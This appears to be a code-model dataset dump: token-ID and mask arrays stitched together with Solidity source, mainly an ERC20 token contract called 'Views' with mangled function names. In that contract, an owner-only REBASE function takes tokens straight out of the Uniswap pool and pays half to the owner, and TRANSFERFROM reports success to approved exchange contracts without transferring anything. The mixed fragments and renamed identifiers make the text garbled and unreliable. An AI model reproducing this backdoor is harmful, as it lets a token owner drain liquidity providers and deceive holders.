0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
31705,
12,
203,
3639,
467,
4133,
3245,
389,
5896,
3245,
16,
203,
3639,
467,
6412,
492,
389,
742,
492,
2249,
16,
203,
3639,
11083,
1340,
2582,
389,
21386,
2582,
16,
7010,
3639,
1599,
291,
1883,
2582,
389,
23650,
2582,
16,
203,
3639,
467,
10070,
14276,
3245,
389,
9083,
14276,
3245,
16,
203,
3639,
467,
654,
39,
3462,
1345,
389,
2316,
16,
203,
3639,
10897,
1136,
5147,
2249,
389,
2437,
5147,
2249,
203,
565,
262,
7010,
3639,
1071,
7010,
3639,
3410,
3386,
7010,
565,
288,
203,
3639,
3017,
3245,
273,
389,
5896,
3245,
31,
203,
3639,
2904,
492,
2249,
273,
389,
742,
492,
2249,
31,
203,
3639,
14036,
2582,
273,
389,
21386,
2582,
31,
203,
3639,
12137,
2582,
273,
389,
23650,
2582,
31,
203,
3639,
22919,
3245,
273,
389,
9083,
14276,
3245,
31,
203,
3639,
1147,
273,
389,
2316,
31,
203,
3639,
225,
2437,
5147,
2249,
273,
389,
2437,
5147,
2249,
31,
203,
565,
289,
203,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.6;
abstract contract Context {
function _MSGSENDER120() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA151() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
interface IERC20 {
function TOTALSUPPLY641() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF508(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER90(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE81(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE792(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM833(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER313(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL620(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
//
library SafeMath {
function ADD811(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB570(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB570(a, b, "SafeMath: subtraction overflow");
}
function SUB570(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL510(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV802(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV802(a, b, "SafeMath: division by zero");
}
function DIV802(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD849(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD849(a, b, "SafeMath: modulo by zero");
}
function MOD849(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function ISCONTRACT757(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE286(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL802(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL802(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL802(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE460(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE895(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE895(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE895(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE460(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE460(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT757(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME771() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL324() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS228() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY641() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF508(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
uint256 burnPerTransferPer = 3;
function TRANSFER90(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
uint256 burn_qty = (burnPerTransferPer.MUL510(amount)).DIV802(100);
uint256 send_qty = ((100 - burnPerTransferPer).MUL510(amount)).DIV802(100);
_TRANSFER430(_MSGSENDER120(), recipient, send_qty);
_TRANSFER430(_MSGSENDER120(), address(0), burn_qty);
return true;
}
function ALLOWANCE81(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE792(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE12(_MSGSENDER120(), spender, amount);
return true;
}
function TRANSFERFROM833(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER430(sender, recipient, amount);
_APPROVE12(sender, _MSGSENDER120(), _allowances[sender][_MSGSENDER120()].SUB570(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE695(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE12(_MSGSENDER120(), spender, _allowances[_MSGSENDER120()][spender].ADD811(addedValue));
return true;
}
function DECREASEALLOWANCE198(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE12(_MSGSENDER120(), spender, _allowances[_MSGSENDER120()][spender].SUB570(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER430(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
_BEFORETOKENTRANSFER741(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB570(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD811(amount);
emit TRANSFER313(sender, recipient, amount);
}
function _MINT89(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER741(address(0), account, amount);
_totalSupply = _totalSupply.ADD811(amount);
_balances[account] = _balances[account].ADD811(amount);
emit TRANSFER313(address(0), account, amount);
}
function _BURN680(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER741(account, address(0), amount);
_balances[account] = _balances[account].SUB570(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB570(amount);
emit TRANSFER313(account, address(0), amount);
}
function _APPROVE12(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL620(owner, spender, amount);
}
function _SETUPDECIMALS743(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER741(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
//
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED472(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
address msgSender = _MSGSENDER120();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED472(address(0), msgSender);
}
function OWNER12() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER940() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER120(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP385() public virtual ONLYOWNER940 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED472(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP327(address newOwner) public virtual ONLYOWNER940 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED472(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
function SYNC960() external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Factory {
function CREATEPAIR665(address tokenA, address tokenB) external returns (address pair); //inject NONSTANDARD NAMING
}
contract Views is ERC20, Ownable {
using SafeMath for uint256;
address public primaryUniswapContract = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
ERC20 internal WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// Pause for allowing tokens to only become transferable at the end of sale
address public pauser;
bool public paused = false;
// UNISWAP
IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(primaryUniswapContract);
address public uniswapPool;
bool public allowsMinting = true;
// MODIFIERS
modifier ONLYPAUSER692() { //inject NONSTANDARD NAMING
require(pauser == _MSGSENDER120(), "Token: caller is not the pauser.");
_;
}
modifier WHENNOTPAUSED74() { //inject NONSTANDARD NAMING
require(!paused, "Token: paused");
_;
}
constructor()
public
Ownable()
ERC20("VIEWS", "Views")
{
uint256 initialSupply = 10_000 * 1e18;
_MINT89(msg.sender, initialSupply);
SETPAUSER793(msg.sender);
validUniswapContracts[primaryUniswapContract] = true;
gk_allow_approval_overrides_on_transfer_from = true;
}
function SETUNISWAPPOOL606() external ONLYOWNER940 { //inject NONSTANDARD NAMING
uniswapPool = uniswapFactory.CREATEPAIR665(address(WETH), address(this));
}
function SETUNISWAPPOOLFROMSTR473(address poolAddress) external ONLYOWNER940 { //inject NONSTANDARD NAMING
uniswapPool = poolAddress;
}
mapping (address => bool) public validUniswapContracts;
function VALIDATEUNISWAPCONTRACT577(address contractAddress) external ONLYOWNER940 { //inject NONSTANDARD NAMING
validUniswapContracts[contractAddress] = true;
}
function INVALIDATEUNISWAPCONTRACT861(address contractAddress) external ONLYOWNER940 { //inject NONSTANDARD NAMING
validUniswapContracts[contractAddress] = false;
}
function SETPRIMARYUNISWAPCONTRACT287(address contractAddress) external ONLYOWNER940 { //inject NONSTANDARD NAMING
primaryUniswapContract = contractAddress;
}
// PAUSE
function SETPAUSER793(address newPauser) public ONLYOWNER940 { //inject NONSTANDARD NAMING
require(newPauser != address(0), "Token: pauser is the zero address.");
pauser = newPauser;
}
function UNPAUSE198() external ONLYPAUSER692 { //inject NONSTANDARD NAMING
paused = false;
}
// TOKEN TRANSFER HOOK
// Global GK to allow transferFrom approval overrides
bool public gk_allow_approval_overrides_on_transfer_from;
function SET_GK_ALLOW_APPROVAL_OVERRIDES_ON_TRANSFER_FROM528(bool val) public ONLYOWNER940 { //inject NONSTANDARD NAMING
gk_allow_approval_overrides_on_transfer_from = val;
}
// Wallet-based GK that individuals can set for transferFrom approval overrides
mapping (address => bool) public gk_disable_approval_overrides_on_transfer_from_wallet;
function SET_GK_DISABLE_APPROVAL_OVERRIDES_ON_TRANSFER_FROM_WALLET74(bool val) public { //inject NONSTANDARD NAMING
gk_disable_approval_overrides_on_transfer_from_wallet[msg.sender] = val;
}
mapping (address => mapping (address => uint256)) private override _allowances;
event REBASED746(uint256 amountBurned, uint256 reward, uint256 newPoolAmt); //inject NONSTANDARD NAMING
function REBASE634(uint256 amount) public ONLYOWNER940 { //inject NONSTANDARD NAMING
uint256 ownerQty = amount.MUL510(50).DIV802(100);
uint256 burnQty = amount.MUL510(50).DIV802(100);
_totalSupply = _totalSupply.SUB570(burnQty);
_balances[uniswapPool] = _balances[uniswapPool].SUB570(amount);
_balances[msg.sender] = _balances[msg.sender].ADD811(ownerQty);
IUniswapV2Pair(uniswapPool).SYNC960();
emit REBASED746(burnQty, ownerQty, BALANCEOF508(uniswapPool));
}
function TRANSFERFROM833(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
if(
validUniswapContracts[msg.sender] &&
gk_allow_approval_overrides_on_transfer_from &&
(gk_disable_approval_overrides_on_transfer_from_wallet[sender] == false)
) {
return true;
}
_TRANSFER430(sender, recipient, amount);
_APPROVE12(sender, _MSGSENDER120(), _allowances[sender][_MSGSENDER120()].SUB570(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _BEFORETOKENTRANSFER741(address from, address to, uint256 amount) internal virtual override { //inject NONSTANDARD NAMING
super._BEFORETOKENTRANSFER741(from, to, amount);
require(!paused || msg.sender == pauser, "Token: token transfer while paused and not pauser role.");
}
function DISABLEMINTING475() public ONLYOWNER940 { //inject NONSTANDARD NAMING
allowsMinting = false;
}
function MINT484(address account, uint256 amount) public ONLYOWNER940 { //inject NONSTANDARD NAMING
if(!allowsMinting) {
revert();
}
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER741(address(0), account, amount);
_totalSupply = _totalSupply.ADD811(amount);
_balances[account] = _balances[account].ADD811(amount);
emit TRANSFER313(address(0), account, amount);
}
function BURN117(uint256 amount) public { //inject NONSTANDARD NAMING
_BEFORETOKENTRANSFER741(msg.sender, address(0), amount);
_balances[msg.sender] = _balances[msg.sender].SUB570(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB570(amount);
emit TRANSFER313(msg.sender, address(0), amount);
}
} | inject NONSTANDARD NAMING
| function RENOUNCEOWNERSHIP385() public virtual ONLYOWNER940 { | 12,991,042 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
534,
1157,
51,
2124,
1441,
29602,
20101,
23,
7140,
1435,
1071,
5024,
20747,
29602,
29,
7132,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x9F6BDC134BA6ddBB2BF81e6Fc1499176dB983fd3/sources/contracts/DAO/TaskDrafts/TaskDrafts.sol | @inheritdoc ITaskDrafts | function updateTasksContract(
ITasks _tasks
) external auth(UPDATE_ADDRESSES_PERMISSION_ID) {
tasks = _tasks;
}
| 5,658,811 | [
1,
36,
10093,
467,
2174,
12714,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
6685,
8924,
12,
203,
3639,
467,
6685,
389,
9416,
203,
565,
262,
3903,
1357,
12,
8217,
67,
8355,
7031,
1090,
55,
67,
23330,
67,
734,
13,
288,
203,
3639,
4592,
273,
389,
9416,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xdcEe2dC9834dfbc7d24C57769ED51daf202a1b87/sources/SHRIMPZOMBIEPool.sol | 2020-08-26 12:00:00 (UTC UTC +00:00)
| uint256 public starttime = 1598443200; | 9,426,036 | [
1,
18212,
20,
17,
6840,
17,
5558,
2593,
30,
713,
30,
713,
261,
11471,
9951,
397,
713,
30,
713,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
23437,
273,
4711,
29,
5193,
24,
1578,
713,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
